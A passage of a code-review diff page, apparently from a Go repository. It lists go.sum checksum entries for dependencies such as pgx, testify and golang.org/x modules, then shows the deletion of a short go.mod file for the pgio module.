github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=
github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0 h1:2E4SXV/wtOkTonXsotYi4li6zVWxYlZuYNCXe9XRJyk=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1 h1:nOGnQDM7FYENwehXlg/kFVnos3rEvtKTjRvOWSzb6H4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q=
go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE=
golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586 h1:7KByu05hhLed2MO29w7p1XfZvZ13m8mub3shuVftRs0=
golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200323165209-0ec3e9974c59 h1:3zb4D3T4G8jdExgVU/95+vQXfpEPiMdCaZgmGVxjNHM=
golang.org/x/crypto v0.0.0-20200323165209-0ec3e9974c59/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190425163242-31fd60d6bfdc/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7 h1:9zdDQZ7Thm29KFXgAX/+yaf3eVbP7djjWp/dXAppNCc=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-3
View File
@@ -1,3 +0,0 @@
module github.com/jackc/pgio
go 1.12
Loaded 100 of 202 files, more files were not shown because too many files have changed in this diff. Show more